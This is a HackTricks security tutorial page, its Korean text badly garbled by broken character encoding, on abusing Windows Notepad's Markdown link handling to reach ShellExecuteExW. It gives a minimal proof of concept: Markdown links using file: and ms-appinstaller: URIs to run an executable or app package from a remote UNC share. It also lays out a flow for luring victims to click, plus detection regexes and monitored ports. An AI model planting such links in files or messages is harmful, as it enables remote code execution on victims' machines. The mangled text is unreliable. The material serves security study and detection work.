Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Markdown/HTMLμ λ λλ§νλ μ΅μ Windows μ ν리μΌμ΄μ
μ μ¬μ©μ μ 곡 λ§ν¬λ₯Ό ν΄λ¦ κ°λ₯ν μμλ‘ λ°κΏ ShellExecuteExWλ‘ μ λ¬νλ κ²½μ°κ° λ§μ΅λλ€. μ격ν μ€ν΄ νμ© λͺ©λ‘μ΄ μμΌλ©΄ λ±λ‘λ λͺ¨λ νλ‘ν μ½ νΈλ€λ¬(μ: file:, ms-appinstaller:)κ° νΈμΆλμ΄ νμ¬ μ¬μ©μ 컨ν
μ€νΈμμ μ½λ μ€νμΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
Windows Notepad Markdown λͺ¨λμμμ ShellExecuteExW λ ΈμΆ
- Notepadλ
sub_1400ED5D0()μμ κ³ μ λ¬Έμμ΄ λΉκ΅λ₯Ό ν΅ν΄ μ€μ§.mdνμ₯μμ λν΄μλ§ Markdown λͺ¨λλ₯Ό μ νν©λλ€. - μ§μλλ Markdown λ§ν¬:
- νμ€:
[text](target) - Autolink:
<target>(λ λλ§λμ΄[target](target)κ° λλ―λ‘, λ λ€ νμ΄λ‘λμ νμ§μ μ€μν©λλ€.) - λ§ν¬ ν΄λ¦μ
sub_140170F60()μμ μ²λ¦¬λλ©°, μ΄ ν¨μλ μ½ν νν°λ§μ μνν λ€μShellExecuteExWλ₯Ό νΈμΆν©λλ€. ShellExecuteExWλ HTTP(S)λΏ μλλΌ κ΅¬μ±λ λͺ¨λ νλ‘ν μ½ νΈλ€λ¬λ‘ μ λ¬ν©λλ€.
νμ΄λ‘λ κ³ λ €μ¬ν
- λ§ν¬μ λͺ¨λ
\\μνμ€λShellExecuteExWνΈμΆ μ μ\\κ°\λ‘ μ κ·νλμ΄ UNC/κ²½λ‘ κ΅¬μ± λ° νμ§μ μν₯μ λ―ΈμΉ©λλ€. .mdνμΌμ κΈ°λ³Έμ μΌλ‘ Notepadμ μ°κ΄λμ΄ μμ§ μμ΅λλ€; νΌν΄μκ° μ¬μ ν νμΌμ Notepadμμ μ΄κ³ λ§ν¬λ₯Ό ν΄λ¦ν΄μΌ νμ§λ§, λ λλ§λ νμλ λ§ν¬κ° ν΄λ¦ κ°λ₯ν΄μ§λλ€.- μνν μμ μ€ν΄:
file://β λ‘컬/UNC νμ΄λ‘λλ₯Ό μ€ννκΈ° μν΄ μ¬μ©λ©λλ€.ms-appinstaller://β App Installer νλ¦μ νΈλ¦¬κ±°ν©λλ€. λ‘컬μ λ±λ‘λ λ€λ₯Έ μ€ν΄λ μ μ©λ μ μμ΅λλ€.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
μ μ© νλ¦
- Notepadκ° MarkdownμΌλ‘ λ λλ§νλλ‘
.mdfileμ λ§λλλ€. - μνν URI μ€ν΄(
file:,ms-appinstaller:, λλ μ€μΉλ νΈλ€λ¬)μ μ¬μ©νλ λ§ν¬λ₯Ό μ½μ ν©λλ€. - νμΌμ μ λ¬(HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB λ±)νκ³ μ¬μ©μκ° Notepadμμ μ΄λλ‘ μ€λν©λλ€.
- ν΄λ¦ μ μ κ·νλ λ§ν¬κ°
ShellExecuteExWμ μ λ¬λκ³ ν΄λΉ νλ‘ν μ½ νΈλ€λ¬κ° μ¬μ©μ 컨ν μ€νΈμμ μ°Έμ‘°λ μ½ν μΈ λ₯Ό μ€νν©λλ€.
νμ§ μμ΄λμ΄
- λ¬Έμλ₯Ό μ λ¬νλ λ° νν μ¬μ©λλ ν¬νΈ/νλ‘ν μ½μ ν΅ν΄ μ μ‘λλ
.mdνμΌμ λͺ¨λν°λ§ν©λλ€:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Markdown λ§ν¬(standard λ° autolink)λ₯Ό νμ±νκ³ λμλ¬Έμ κ΅¬λΆ μμ΄
file:λλms-appinstaller:λ₯Ό μ°Ύμ΅λλ€. - μ격 리μμ€ μ κ·Όμ ν¬μ°©νκΈ° μν λ²€λ κ°μ΄λ μ κ·μ:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- ν¨μΉ λμμ λ³΄κ³ μ λ°λ₯΄λ©΄ allowlists local files and HTTP(S);
ShellExecuteExWμ λλ¬νλ λ€λ₯Έ λͺ¨λ κ²μ μμ¬μ€λ½μ΅λλ€. μμ€ν λ§λ€ 곡격 νλ©΄μ΄ λ¬λΌ νμμ λ°λΌ λ€λ₯Έ μ€μΉλ νλ‘ν μ½ νΈλ€λ¬μ λν νμ§λ₯Ό νμ₯νμΈμ.
References
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


